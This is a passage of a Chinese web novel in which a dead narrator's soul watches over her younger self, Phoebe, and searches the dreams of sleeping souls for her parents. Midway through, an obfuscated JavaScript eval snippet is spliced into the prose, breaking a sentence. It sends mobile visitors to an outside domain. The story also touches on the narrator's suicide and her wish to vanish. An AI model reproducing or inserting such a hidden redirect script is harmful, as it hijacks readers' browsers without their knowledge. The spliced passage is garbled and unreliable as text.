在中学的校园里，自此，王罙与菲比再无牵扯，他果然说到做到再也不打扰上学的菲比了，他以为这个梦境是一个启示。毕竟，他也要朝着自己的警察梦想前进。 18. 魂梦初见 学生们专心地上自习课的时候，学校会查抬头率。如果学习的学生们抬头注意到外界的响动，会被老师认为是不专心。按他们的理论来说，真正专心致志学习的人是不会有功夫注意学习以外的事。他们也只要大家在明面上一定得表现得专心。 所以产生了老师查抬头率这种莫名奇怪的行为。老师在大家自习的时间进教室的话，学生们不得抬头看人，更别说是与老师对视了。有人控制不住下意识的反应，根据外界的噪音看过去，就被教导主任提起衣领扯出去教训了，主任的行为举止和混子揍人似的。 我记得查抬头率的蠢事，即使放到现在也非常看不顺眼这种形式主义的行为。菲比明明努力地沉浸在学习中，然后每当教导主任走进来突然使劲儿地踹门，发出巨响和余音，不只会把她吓一跳，还会打乱她好不容易酝酿集中的注意力。 我的灵魂在窝火之下，忍不住给教导主任使绊子，等他再一次进来踹门发出噪音的时候，我用意念力量令他脚滑一屁股笨重地惨摔到了地上，他不仅磕着了尾巴骨，还闪了腰，躺在地上哎哟哎哟痛叫。 大多学生的心思都注意到了摔了一大跤的教导主任，大家在都在心里憋笑，有人捂住了嘴，有人埋头做题……就是没人起来去管他，搀扶他一把。 学生们也趁此闷声报复查抬头率的教导主任，大家头都不抬一下，默契地认真自习。任教导主任躺在门口叫骂求助多少遍，学生们如他以前所愿，眼里只有学习。 直到其他老师路过自习的班级，才救了教导主任一命，叫救护车把他送去了医院。后来学校的老师们都批评这个班级的学生冷血无情，教导主任摔得那么惨都没人帮忙扶一下，哪怕慰问一句话也好，太让人失望，更没人去找老师帮忙。 学生们纷纷找借口说，大家以为教导主任在查抬头率，又在故意发出声音呢，不知道他是真摔了…… 也只有自家语文老师对其他老师说了几句，这不是如你们所愿吗？让学生们不管外界发生什么都不抬头，只知道死读书学习。现在训练出来了，又怪上他们了，到底是要他们几个模样？ 这就是菲比为什么一直最爱语文老师的原因，她碰上的语文老师待学生都不错。她对于语文的热情，令她收到情书都中意起了钢笔在纸面写下的漂亮文字。 除了大清早，菲比现在还能在白天收到不同的零食，她喝上草莓味珍珠奶茶，发现了小饼干袋子里的一张情书，便打开纸张在心里默阅： 嗨菲比，这是我今生第一次写信给女生，也是第一次动用了爸爸送给我的贵重钢笔，让它一起见证我的初恋感情。虽然你一定不清楚我是谁，或许已经遗忘了我和你之间过去的互动，但只有我默默记得就好，我一直不想明白地拆穿这份特殊的情谊，大概因为我理解你的部分人生，理解你的心情……总有一天，我将通过漫长的时间岁月来到你的面前，亲口告诉你一声，我们之间一切的关联。我会在你的耳边呢喃，我喜欢你。我会争取你的同意拥抱你、亲吻你，我想牵上你的双手走向未来……或许这也只是我正少年时奢望的勇气，少年不确定这一切能否实现，只空口说出了不让自己遗憾的真心话。也许你想知道，我对你的动心从什么时候开始，一时之间说不清，我对你可能是一见钟情，可能是从我们隐秘的联系里，我不断地投入了关注产生的。现在，我没有勇气出现在你的面前，只能以这封情书代替我出现在你的记忆里片刻，让你知道你的身边有这么一个人的存在，请你不要忘了你的背后有一个人默默支持着你，想要努力地站到你的身边，想要在未来走向你。来自记挂你的人。 菲比沉醉地读完这封情书，闻到了上面淡淡的香水味和墨水味。她虽然没想要谈恋爱，可是知道有人正经而默默地喜欢她，她那张脸都出现了红晕，她的心脏稍微加速怦怦跳动，对于这封情书的喜爱之情溢于言表。 我瞥到了那个总送给菲比零食的雷锋女生，对方正躲在门外偷看菲比，好像在观察菲比看情书的状态。我摇头叹气，自己的性取向过直，否则和这样可爱的女生谈恋爱应该是不错的感觉。 我的灵魂来到雷锋女生身边，从上到下地打量她的模样，观察她的举手投足，并未感到太熟，我一而再再而三地仔细搜寻以前的记忆，思来想去，感觉在此女偷偷送零食的举动之前从未见过她。也有可能是我的灵魂没想起被我忽略的记忆。她到底是谁呢？ 她的名字是林月欣，在我过去的人生里，自己与她仅有的互动就是，我知道她是隔壁班眼熟的女生，我们之间打过招呼，说过几句寻常的话，她还当面强行请我吃过几次东西，就没了。 菲比小心翼翼地把情书折叠好，夹进了最喜欢的语文课本里，一直到后来她都没有弄丢过人生第一份情书，在我生前所住的屋子里，它仍然躺在我收藏宝贝的盒子里。有时候当我独自忧伤起来，也会把这封信拿出来读一读，在我自杀之前，也曾看过这封情书。 既然我的灵魂不能靠近林月欣，后来菲比去上厕所路过林月欣的某次，我故意把菲比往林月欣身上推，她们突然撞到一起后连忙扶住彼此，也互相礼貌地道歉并表示无妨，然后她俩就搭了几句话。 林月欣忽然近看向菲比的脸颊，夸赞道：“哇，你皮肤好好啊，长得挺可爱又秀气，有几个男生追你啊？你这么好看，有男朋友了吗？” “第一次听到有人主动夸我好看，谢谢啊，你也长得很文静漂亮。”菲比赧然地摸了摸脸侧，“没什么男生追我啊，我没男朋友，也没想在上学的时候谈恋爱，我只想好好学习……你呢？有人追你吗？” “好吧。”林月欣的语气似乎有些遗憾，她卖关子说，“你猜？” 菲比肯定地说：“你这么可爱俏皮，肯定有吧。” “没有!”林月欣眨了眨眼睛说，“我也想好好学习……” 她们互相聊了几句就别过了，这也看不出来什么。 菲比自从上了中学以后，她确实独立不少，即使身边没有其他帮手，也能勇于反抗任何欺负她的人，她坚信有谁在守护着她带给她力量，她就总是无所畏惧地反击，其实她如今的身手，那大多是她自己干活儿以及参加拳击社团锻炼出来的力量和经验。不过在我的记忆里，她的周围平时也没什么大事发生了，主要就是学习和运动。 我待得百无聊赖之际，灵魂便开始去探索周围的世界，我在菲比身边待的这些年灵魂被滋养得足够稳定了，我能离菲比越来越远了，以前我的灵魂一旦离开菲比一会儿，就会变得魂体不稳并没什么力量，现在我甚至能去别的城市。 我逛回福利院探望了一下梅香院长、特教老师、保育员妈妈们和孩子们，他们一切安好。我曾经跳进过梅香院长的梦境里亲口问她，这些年有没有菲比的家人来院里找过孩子？她都说没有。 我问院长妈妈怎么样才能找到家人呢？ 她叹气说除非抛弃孩子的家长能主动回来找孩子，或者警察通过线索帮忙找到不负责的父母。但是菲比被放在门口的事情已经过了很多年，那时候周围没有监控，估计很难再找到身世了。 我想着身世，气馁地游荡在外。 我在不经意间被一个沉睡的灵魂吸进了梦境的漩涡里。我时常看见有些灵魂在各个荒芜的地方长睡不醒，我一旦入了其他灵魂的梦境，在此可能随着对方产生的幻梦进入故事，魂梦也可能为入侵者量身打造新梦，这是很麻烦的事情。 听说这些灵魂来到人间久了，没有去灵魂世界的聚集地，便容易睡着发困。我离开菲比四处走动以后，偶尔也会发困想睡觉，然后睡过去做些奇奇怪怪的困梦，顾名思义被困在梦里，醒来比较困难。我待在菲比身边的时候，没有任何发困想睡觉的感觉。别的灵魂说，如果发困想睡觉，证明是被昏睡的灵魂传染了。 我在这个魂梦里，梦见了我刚死那会儿见到的场景，我记得濒临死亡之际，自己做了一个非常真实的梦境，周围有烧得通红的火光，有女人和男人遥远的哭喊声，我看见自己的灵魂不由自主地跑到了一户人家里，忙忙碌碌地帮忙灭火，他们家总是起火，可怕的烈火烧得很旺。 困住我的魂梦，反反复复都是那个起火的夜晚，我被梦境迷惑到牵着鼻子走，我相信周围真实地发生了大火，不要命地拼尽全力拯救了这家人的孩子，我本来还想救那对年轻的父母，却来不及了，大火烧死了他们，孩子哇哇大哭。 接着，我又被梦境的变幻闪现着困到一连串寻常的世界里面。我总是梦见自己在上学，重新学习数学和语文，然后压力很大地考试，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630360|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被困在寻找身世的梦境里，以及困在我自杀时见到的那场大火中。 我在梦魇里黏黏糊糊醒不过来，梦境一层又一层，我清醒片刻想逃出去时，很快又被梦境诱惑，我的灵魂正在被别人的魂梦吞噬，最后浑身冰冷的我掉入了大海里，溺水喘不过气。 突然之间有人搂过我的腰部，温暖地拥抱住我，将我带离了淹没我的大海。我们来到了光天化日之下的街上，我疑心这是梦境，缓缓转头看向了身边那个衣冠济济的俊朗男人，他站立在我的身旁，一脸复杂地看着我，好像我们认识了很久，眼梢红润的他似乎对我失而复得一般，目光深邃地紧张盯着我，有一种很奇怪的既陌生又熟悉的感觉，存在我们之间。 我一时以为这是新的梦境，总算有个像样的梦了。想想我由生到死都没摸过男人的手，突然鼓足了勇气，靠上去一把抓过这帅哥的热手，不由分说地亲吻了上去。他由睁眼到闭眼之间与我亲吻了起来，手指也穿入了我的发丝里摩挲，似乎习惯了与我接吻。他嘴巴的柔软触感简直跟真的一样，我们亲吻没一会儿，我平复着呼吸靠到了他的怀里享受拥抱。 他也安安静静地抱着我，轻柔地摸了摸我的脑袋，我们便靠坐在墙边一言不发，只是拥抱彼此，好像本来就该如此似的。待我发现街上那个原本昏睡的真实灵魂逐渐消散了，自己吓了一大跳，顿时起身看了看消失而弥留的灵魂，又看了看这个男人。 我闭眼心想可能会转换梦境，等我再次睁眼，看清面前确实是一个陌生又熟悉的男人，他长得很成熟稳重又透着些痞，五官硬朗端正，一身正气，身上还有一种说不上来的沧桑感，整体既年轻又苍老，他看起来也是一个灵魂。 我捂了一下嘴，心想我到底干了什么？死了也这么丢人。我结结巴巴地解释：“那个……你……你不是我梦里的人吧？我……我……刚才以为是梦，被梦牵着走，就……就亲了你……不是故意的……我……” “没关系，反正我也寂寞了很久，各取所需……”他慵懒地靠墙而立，露出笑容的那一刻，如春风拂面。他一副不把那个亲吻放在心上的表情。 灵魂的世界也这么乱吗？我莫名很不痛快地问他：“你跟几个灵魂各取所需过？” “就你一个，因为只有你对我那么主动。”他耸了耸肩，他耸肩的动作很像我耸肩的动作。他好似在故意拿我开涮，我羞怒交加地转身将走，他一把拉住了我的胳膊，“喂，我从快消逝的魂梦里救了你，你不谢我？你亲了我就走？真是抹干净嘴巴不认人……” “你谁啊你……”我想把手拽回来却失败了，我感应到他的灵魂很强，我的半个胳膊被他压制住了。他便认真地介绍了自己的名字：“我叫许锺琛，鲸锺的锺，海琛的琛，也喜欢吃海鲜，你呢？” “我叫李菲比，价值不菲的菲，无与伦比的比，我喜欢吃糖果。”我看着他的衬衫纽扣做自我介绍，没敢看他那张脸，总觉得他要调侃我。 下一刻，许锺琛郑重地给了我一个大大的拥抱，便沉稳地说道：“好，菲比，我们认识了，现在可以做朋友了吗？” “啊？这么快就交友？”我被这个突如其来的拥抱弄得不知该如何反应，知道不是梦境以后，就没那么自在。不过我也很喜欢别人的拥抱，就算对方也是灵魂。 许锺琛嗯了一声，接着，他问我走路不长眼，被吸到快消失的魂梦里，是想二次彻底死掉吗？还好他怜香惜玉，阻止我杀掉自己的灵魂，剩余的这点儿灵魂意识没了，可真就没了啊。他还玩笑说，救魂一命胜造七级浮屠。 见我一脸发蒙的样子，许锺琛提醒我：“你最好别去触碰深睡的灵魂，陷入魂梦之中的话，如果能破梦引导主灵魂走出来，就能把那个灵魂一起拉回人间，不能的话，你就会跟着魂梦烟消云散。不过只要灵魂想苏醒放弃梦里美好的乌托邦和各种诱惑，或者解开噩梦的困境，我们还是能醒来的……” 我恍然大悟，但也没觉得方才随着魂梦消失有什么可怕的，正好我的灵魂被困在多年前的人间久了，对于我现在的存在，也是觉得可有可无。 许锺琛是我在人间的灵魂里面交的第一个朋友，他太主动了，莫名其妙总是跟着我，把我护得紧紧的，生怕我又掉入哪个灵魂的梦境里去回不来了。 19. 灰色漩涡 在我为身世发愁的期间，当我听一位老灵魂说，想找身世的话，就去寻找那些沉睡的灵魂吧，最好要找快消逝的灵魂，因为在他们的梦境里能为你变化出你内心深处最想要的东西。 于是那个闲得没事干的灵魂许锺琛不允许我冒险，他多管闲事的态度简直像甩不掉的小情人，仿佛我亲吻了他一次，就得为他的灵魂永远负责似的。我俩为此争论不休，最后他退步同意我进入不同的魂梦里，不过他必须得陪伴着我一起去。 我从魂梦里找身世之前，特意再回学校看了看学习的菲比，许锺琛也趴在桌子附近笑问我，这是少年时候的你吗？大菲比怎么能出现在小时候的菲比身边呢？ 这就是许锺琛对我非常好奇的一点，所以他一直跟着我，想看看我能折腾出什么花样来。不过我回校的期间，他短暂消失过一会儿，等他回到我身边以后，我问他干什么去了？他说他也去看小时候的自己了。 我有点意外，没想到许锺琛是我的校友呢!而且他灵魂的状况和我一样，出现在了以前的年代。怪不得他想跟我做朋友，他还说他早就观察过我一阵子了。 我问他小时候是谁？ 他卖关子让我猜。全校那么多学生，我怎么能知道谁是他，我一心想着身世，懒得理他的谜题。 后来我在不同的魂梦里游荡，探索那些梦中的世界，我经常困在魂梦里出不来的时候，都是许锺琛像第一次相遇那样把我拉了出去。 我笑问他守着我做什么，他表达他一个灵魂挺无聊的，就跟着我，想看看我的造化。我说，如果我在魂梦里彻底消失了呢？ 他摸摸我的脑袋，轻笑说：“那我陪你啊，有我在，你肯定出得来……你有没有感觉到，你的灵魂没有那么完整，所以你容易被困在魂梦里出不来……我是一个完整的灵魂，死得透透的，所以死后获取了足够的能力……我看你对灵魂的世界好像不是很熟悉，我至少有些经验，起码能帮助到你，你知道吗？我是上面派来引导你的天使……菲比，我们结伴而行吧？” 我不相信他是天使，可他叫我菲比的时候，我总觉得很耳熟，有一种他前世今生都这么呼唤我的错觉。即使我觉得他有点奇怪，想到他能帮到我，多了个跟班压根没坏处，多一个灵魂多一点意念的力量。况且，他的灵魂或许寂寞了很多年，才对我这么主动地交友，便答应他了。 许锺琛还宽慰我说，对于找身世的事情，尽力而为了就好，实在找不到的话，你打算怎么办？ 我倔强地说，既然找到了方向，我就要找下去，不消逝就不停休。 许锺琛欲言又止，他看向我的眼神仿佛看穿了什么，又不想说太多，他最后只是叹息说好吧。 这些梦境很抽象混乱，没有逻辑可言，我辗转在不同的魂梦里苦不堪言。魂梦和人间活人的梦一样，有的普通平凡，有的离奇混乱，有的曲折恐怖…… 我在第二个魂梦里路过黑漆漆的巷子，朝里面看去，深处是一扇门或者窗户，隐约不清楚，波光粼粼的，有点奇异，就像另个世界的通道。我进去后，里面是一片黑暗，我只能扯住一根线想弹走，下面是很浅的水，这个世界会慢慢虚无消亡的，我不能一直待在这里。接着我就到了一个像中转站的地方，这里很热闹，有超市和商场，有很多摆摊的小吃，模糊的人群比较多。 后来我在凌空的走廊里，上面吊着很细的绳索，我在走廊荡秋千，越荡越高，能踢到天花板，走廊前方有些黑漆漆的比较虚无，后面是白茫茫的虚无面。我从走廊下去，绳索向后滑动，我就被一直吊在虚无之上，下面是深渊，不管我跳下去几次都被挂在这里。我僵持在这里很久，也会有些厌烦在魂梦里被迷得很长时间走不出来。 此时只要我呼唤一声阿琛。许锺琛就立刻把我拉了出去，是他让我唤他阿琛就好，说这是他的小名，只有生前的家人会这么叫他。 我哪儿有心思去管许锺琛的大小名。我全心全意地努力去分辨这些魂梦，到底有没有反映出我的身世，可惜目前一无所获，或者线索被我忽略了，我只好再次重新寻找稀有的黑漩涡魂梦。据说黑漩涡魂梦更容易让你走到想要的世界里去，目前我没有遇到过黑漩涡魂梦，我所看到的沉睡灵魂身上冒出来的通常是白色和灰色的漩涡。 我在这些梦里遇到比较恶心的画面是，有一家子住在崎岖的山顶，山顶有一处草坪，草坪上有一棵古老的大树能挡住阳光，便在草坪表面投下大片的树木阴影，阴影里的草坪随风摆动，我抬头看那棵树分明是光秃秃的。附近这家老爷爷的女儿和女婿离开了这里，但他有个儿子有种说不上来的恐怖，他的孩子长大了，有了心里疾病，那个孩子把自己的脑子移植进了巨型蚯蚓的身体里，蟒蛇那么大一只蚯蚓在路边蠕动，最后飞过来一辆古怪的树形车，直接将其碾爆，他身体里如有火山喷出的岩浆滋了一地烧红的液体。 刚开始我承受不了这样的场景，也会叫许锺琛把我拉出去。 我准备好以后进入新的魂梦，有老爷爷躺在我的床边用针刺我的后背，我一直躲避这个死老头，他一直不承认是他在扎我，还总是挥舞双手，然后出其不意又把手绕到我的后背，把有点粗的针扎入了我的后腰，也扎在肋骨下面那个部位。 不久，我又梦见上学了，一边上学一边工作，我没有时间赚钱，想着用晚自习或者放学回去后用睡觉的时间工作，内心感到很烦躁。 教室里的画面比较混乱，我在窗户那边想推开玻璃窗，吐掉嘴里莫名出现的东西，但是我在窗户上推来推去，始终打不开窗户，其他人也在推这几扇玻璃窗，并且不稳定，本来左边没人，过一会儿后变成了有人在推玻璃窗。清醒片刻的我不再推窗户，想从教学楼离开，我和同学们下楼梯，转瞬都来到了地下室，也是一楼的教学楼，我跟着其中一个短发女生想出去，可她跑得飞快，周围不断发出学生们害怕黑暗的尖叫声，以及真的有什么东西的影子咻地一下过去了。我跟着穿梭在黑暗的教学楼地下室或者一楼，看见周围那些黑漆漆的房间里似乎是有什么影子在动。 最后，我出了一楼的室内，从外面的道路再走出去时，外面是天黑的模样，很多人在前方某个地方排队，我也在那里排队。然后我看见前方有个大屏幕，上面播放着一对看不清五官的情侣，他们很恩爱，身影都让人感觉到了幸福。我在想他们是我的父母吗？他们长什么模样呢？为什么看不清？为什么我不能来到一个温馨美好的地方，总是在噩梦里游荡。 许锺琛说，也许是因为我童年的潜意识里充满了噩梦。 我后面进入的都是有点恐怖的梦境。比如我去了乡下住，那个地方是我爷爷的老家，我坐车来到老房子附近，老家有一条黑狗一直冲我狂吠，看起来会咬人。过了少倾，黑狗不见了。我进入了老房子里，在这边歇息的时候，本来床在乱七八糟而旧脏的房间里，我想换个位置，床就变成在池塘附近，树林影影绰绰，池塘旁边有很多蚊子，我又想搬到其他地方睡觉。 后来我下床走来走去重新找了个位置，发现角落里有一个小男孩儿很怪异，只要出现蜡烛的火焰围在他周身一圈，他就会变得像恶鬼上身一样。我躲到了另一个房间去，这张床是上下床，我缩在床上，后来注意起古怪小男孩儿的时候，房间里不知何时多出来几个人，开始关心他，最后他们慢慢地转头都看向了我，一步步朝我走来。我忍不住叫了一声阿琛，终于脱离了梦境。 下一个梦境是梦见隔壁邻居大妈的女儿死了，她的坟墓在一个山间公园的墓园里，我拿着花束去祭奠她，她的墓碑上有山中月几个字，周围摆了很多新鲜的果子，好像是邻居大妈放的。不久邻居大妈出现说，女儿是被感染病毒的蚊子咬死的。 我在墓碑前放好花束以后，附近出一只奇怪的猫狗，但它给我的感觉不像寻常的猫狗，所以我很排斥它，一直驱赶那随时变换猫脸和狗脸的东西。我驱赶猫狗的时候，最后它彻底地变成狗脸的样子，成了一条卷毛的贵宾犬，一直冲我汪汪大叫，甚至说出很难听的方言骂人，很像那种怨鬼附身的现象。我猜测那是梦境的主人，对方在驱赶我。 我第一次自主脱离了魂梦，很快休息好了，我又踏上了梦境的旅程，并且发誓将来我做的魂梦一定不要这么吓人，如果我能控制的话。 另一个诡异的魂梦是，刚开始我在县城的学校门口，发现这个学校门口有很多小贩摆摊卖东西吃，可我转了一圈感觉没什么想买的，便走回了校门口，此时太阳很晒，太阳晒着我的时候，我第一次觉得很不舒服，想躲避到阴凉的地方。 等我来到校门口对面的时候，在梦里的记忆是之前那里有个面包摊位，面包醇香好吃，我想买东西，便模仿前面一个女生拿透明袋子装了牛角包和大面包，也学她去排队的地方付钱，然而我问了前面排队的人，这里不是付钱的地方，这个地方是情感付账处。有人就把我手里的面包放回去了，我觉得好可惜，好想吃这个面包，有些人不付钱都拿走了面包。 为了吃面包，我又排起了队伍，这长排的队伍开始慢慢跑步，我前面人头攒动，有其他学校的死胖子欺负人，在拿棍子敲前面的男生，我抢走了棍子丢到路边。后来整个队伍跑得越来越快，我也不由得跟着跑，这个环节变成了学校里的老师特意安排大家跑步。 我跑不动还扯着前面女生的校服，叫他们跑慢点，有个男生跟在我后面，他也扯住我的校服，弄得我更跑不动了，我和前面的同学差距很大，我慌起来加大步伐终于赶上了队伍。 后来，我们跑到一个房子的长廊隧道里，就感觉不太对劲了，从第一个堂屋里进去有很多精致诡异的木偶娃娃摆在那里，我路过一看就知道他们原本都是人。 但是我还是控制不住地跟着大家进去了，因为好像已经走不了回头路，要是被发现回头的话下场好像很恐怖，会被丢进制作娃娃的材料里面绞杀。 我不动声色地进去坐下来，我的桌子附近有个女生，我对这里似曾相识，我跟她好像来过这里，但是她忘记了，我又跟她说了第二遍，她隐约想起来了。我的对面是一个漂亮女生，她可以为管理者唱一首歌暂时偷跑出去，但她很快又回来了，她那张脸已经逐渐变了，变得像精致略诡异的木偶样子。 我回避她，听命令去前台排队，管理者 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我总是被魂梦带偏跟着变化的故事走，所以许锺琛劝我别浪费时间了，放下找身世的心结吧。我不肯，又一次白费了力气。 继续跳入魂梦里，我坐在一辆车的后座，开车的人停车了，路对面是绿色的麦浪，他们喊我去对面拍照，但是要过河，暂且看不见河面下是什么，很多人都在过河，河水都到腰及肩膀以上的部分了，大家像是行尸走肉。 我怕水里有未知的东西没过去，便在路边的座位上休息。这里有摆摊的摊贩，还遇到了少年王罙，我摸到他头上的汗，有些嫌弃地帮他擦了擦。 附近还有几个女生窃窃私语地讨论我和王罙的关系后，场景变了，我不知什么时候进入了一个诡异的乐园。 无论我怎么努力，我常被困梦引导，失去了自我意识。在这个梦境里，我主要是为了找王罙，有老年的他，还有年轻的他，但年轻的他说，他不是那个王罙，他们只是长得像，年轻的王罙给我的感觉也不像真正的他。然后老年王罙突然给我发了短信，让我在手机上跟他聊天就好，他很喜欢这样的氛围，如果他没有及时回复，劝我不要失落…… 前面我也有看到过他年轻时候走过的某个地方，那里是海城，我好像总是和他阴差阳错，我很难找到老去的王罙。 我在乐园里浑水摸鱼地做事，只要来到这里的人们都要工作，我拿手机给老年王罙发短信，问他是王罙吧？他却不承认自己是王罙，可我感觉他就是真正的王罙。我脑海里出现一个画面是在一个偏暗的屋子里，那里有他等我的身影。 而我在手机上发短信给老年王罙的时候，好像暴露到乐园有地位的人眼前了，领导不允许我在工作的时候拿手机…… 可是我仍然说，我要找王罙。 当我从魂梦里醒来，嘴里叫王罙的名字，许锺琛拍了拍我疲惫的脸，温和地问我怎么了？我就把这个古里古怪的困梦给他说了。 他问我，为什么要找王罙？王罙是谁？你惦记王罙吗？ 我没有告诉他，其实我也不知道。 接着我在另一个魂梦里，居然梦见相识不久的许锺琛，我差点儿以为他也来到了魂梦里，不过那只是梦境幻化出来的。我们在公交车上，他坐在我身旁，可是他又去找过什么人，回来以后他还坐在我旁边，他让我靠着他，我便把头枕在他的肩膀上，慢慢地睡到他的腿上。 后来大家要下车上厕所，公交车却在一个充满迷雾的深渊上停住，这条公路裂开了，前面一半是实实在在的路，后面是断断续续的悬崖，如同一半生路一半死路。我还在车上，这时阿琛却不见了。 等我叫了许锺琛的小名阿琛，真实的他就帮我从这个梦境里脱离，这时换我欲言又止，最后也没说什么。 我在魂梦里几乎一无所获，我靠着许锺琛很不开心地泪流，他擦了擦我的眼泪叫我别着急，我最近累得思绪混乱，便沮丧地昏睡了过去。 在那天最后的时光里，我梦见自己疲惫驾驶开车出车祸死了，当时的体验与画面非常真实，可我的眼睛都快睁不开了，而且我开着车猝不及防从悬崖上掉下去的时候，眼前的画面跟电影一样放慢定格，再缓缓坠落，很梦幻朦胧，但是我脑子里没有想过往的任何一切，也没有任何痛苦，我甚至松了一口气，在心里说，真好啊终于解脱了。 我在驾驶座随车掉落悬崖的时候，看见前面是一片绿油油的草地，阳光照耀着大地，远处有几座颜色鲜艳的房子，好美啊，风景忽而清楚，忽而朦胧。然后我费力地去解安全带，希望自己死到前面去，自由自在，再也不被什么束缚，我以为那是天堂。 遗憾的是前面这些绿草与房子的画面，渐渐变成了现实中房间里的画面，我就知道自己是在做梦了。 这个温馨干净的房间是许锺琛带我来的住处，他说这是属于他的房子，请我安心住下在这里休息几天，我睡主卧的床上，他在旁边守着我。 我最近精力疲惫，容易被魇住，我说了一句梦话令许锺琛担心。我说，我又想消失了，他便拍醒了睡得断断续续的我，叫我回小菲比身边待一阵子，养养灵魂。我困得不行，只想再睡下去，他就暂时不打扰我了。 20. 天使的拥抱 我的灵魂在主卧房间逐渐睡醒以后，我才有精力打量这个地方，面前的房子像是人间有人正常居住的小区房，有浓浓的生活气息，三套一的房子不是很大，整体混搭的温馨装潢却十分符合我的审美。布局是复古南洋风的卧房和客厅，一间英式古典的静谧书房，一间简约的健身房，以及两间奶油风的厕所。 卧室和客厅的墙上差不多都挂着他和某个女人的照片，照片墙有他的警察照和便装照，还有他们幸福的合照，可惜我看不清那个女人的脸，她的样子在我的眼里模糊不清。我正看着照片疑心是不是还在做梦的时候，便闻到了一阵家常饭菜的香味，我走近厨房，透过缝隙看见一个身穿居家服的男人在岛台前炒菜，许锺琛转头冲我露出和煦的微笑：“你睡醒了吗？去喝杯水再准备吃饭吧。” 我在人间洗漱以后的习惯是先喝一杯水，过会儿再吃东西。我看向饭桌上的那杯水：“这真的能喝吗？还能吃饭？!” “能吃啊，这都是我从天堂带过来的食物，灵魂能吃。”许锺琛穿着围裙先端来两盘菜放在桌上，食物热气腾腾，色香味俱全。 “真的有天堂吗？你是天堂的灵魂？真的吗？”我迟疑地端起杯子，慢慢喝到温水以后，内心吃惊不已，自从我变成了灵魂，好些年没吃东西了，每当我看到人间的菲比吃东西吃得狼吞虎咽，她偶尔也津津有味地细嚼慢咽，我的灵魂在旁边馋得要命，想吃东西的瘾很折磨我，我之前尝试拿人间的食物根本取不到，吃也吃不了，都是灵魂径直穿过食物的情况——看得见吃不着。 此刻，我知足地慢慢喝完水，如同饮了玉露琼浆一般舒服，这种久违的感觉令我的灵魂激动快活，然后我咽了咽口水坐到了椅子上，便迫不及待地拾起筷子，仔细品尝了一口油炒的青菜，脆嫩爽口，只撒了一点盐调味，保持了食材本身的鲜味……面前的食物果然能吃，并且这完全和生前吃东西的感觉一样。我曾经以为我死了以后得啃蜡烛呢，幸好那只是人间的传闻。 许锺琛把荤素搭配的丰富饭菜全摆放在了桌上，便解开围裙坐在了我的对面，他不停地帮我夹菜，目光柔和地看着我吃饭，才含笑着回答问题说道：“有天堂呢，天堂的食物对你的灵魂有好处，你多吃点为灵魂补充营养。我之前说过啊，我是天堂的天使，来帮你引路了，你是我负责的灵魂，我会照顾你一段时间，直到你解开心结，放下过去为止……” “你怎么这么迟才来找我呢？传说中的天堂又是什么样的呢？我能上天堂吗？虽然守护自己挺好的，可是我在人间也待得够闷了，也想去过过美好的日子，我在人间是孤儿，那么天堂有我的父母吗？”我一边炮语连珠地问话，一边往嘴里大口地塞饭菜，满足地咀嚼起天堂的美食。 “慢慢吃，别着急，你想吃的话，我这段时间都做饭给你吃。”许锺琛用干净的帕子擦了擦我的嘴，逐个解释，“我来得不算迟了，还是赶上了你在的时候，何况你也得自渡不是吗？你能不能上天堂取决于你自己，我不知道天堂有没有你的父母，我在天堂没有遇到找你的人。” “怎么样才能上天堂呢？”我期待地问，也想着可能我的父母还活着，可能他们下地狱了。 他叹息道：“只有少数的好人能上天堂，你目前还不能上天堂，你在人间做的好事还不够多。” “所以这就是我滞留在以前年代的人间的原因吗？”我把第一碗饭吃完了，他又帮我盛了第二碗饭，没有回答我为什么留在多年前，他说了另一个回答：“时间是人间的定义，实际上过去、现在和未来同时在发生。” 我在人间也听说过这个说法。我继续问他，我什么时候能离开过去的人间。他重复了那句，直到你解开心结，放下过去为止…… 好吧，看来是我的灵魂没有放下过去，才滞留在旧时光里。那么我还是得继续寻找父母，通过魂梦，这让我感到难受和灰心，有挫败感。 我想到心事，吃饭的胃口也不香了。我停筷看着许锺琛吃饭，他吃饭很斯文，一口菜、一口饭，不慌不忙的，甚至有点儿细嚼烂咽，如同生过老年病的人在慢慢吃饭。 “你生前是快老的时候死掉的吧？吃饭吃得这么慢。”我调侃道。 他愣了一下，似乎想起了些回忆，淡笑道：“我生前经常消化不良，习惯了慢点吃饭。” “好吧……你做过警察啊？墙上跟你合照的是谁啊？为什么我看不清她的脸呢？”我好奇地问。 “是啊我是牺牲的缉毒警察，所以上了天堂，现在成为了引路天使。墙上的女人是我的妻子，大概你是人间流浪的灵魂，魂体较弱，你在这里就看不见她的照片……”他终于摊牌了，我不想主动问别人是怎么死去的，正如不想别人来问我。 听到许锺琛有过妻子，我心里有点酸涩，胸口如同被小动物不够尖锐的小牙咬了一口，这种情绪可能是因为我和男人接触得太少了。我哼了一声，讥讽他：“你有老婆还能跟我亲嘴？不是吧你？你有没有良心，老婆在人间，你却在魂界跟别的女人亲嘴？!你真做得出来。” 他一时又愣了一下，沉默地吃完了碗里的饭菜，逐渐哭笑不得地说：“前世缘分已尽，我现在是和你在相处，顾着眼前比较好。再说不是你亲我吗？我推开你的话，怕伤你的心，你们这些在人间游荡的弱灵魂本来就不稳定，可能陷入沉睡中……” 许锺琛的反应确实有些慢，或者他在思考怎么用合适的话来答复我，尽管他的外表很年轻，我却总觉得像在面对一个年老男人的灵魂。 “你们男人果然是这样，没一个专情的，我看你就跟鲜艳的毒蘑菇似的长得花里胡哨，就你这样还能做天使？我看你是花心天使吧。”不知怎的，我越想越气，一面替他在人间的老婆不值得，一面为自己古怪的情绪难受，我简直想锤打他一顿。 许锺琛瞧见我难受的劲儿，轻搁下饭碗，忍不住笑着揶揄道：“你该不会短短时间喜欢上我了吧？你在吃醋吗？” 我质问道：“谁喜欢你啊，你这招蜂引蝶、勾三搭四的，该不会为每一个灵魂引路的时候，都跟他们打情骂俏吧？说说你跟几个灵魂谈过恋爱？你对得起你在人间的老婆吗？” 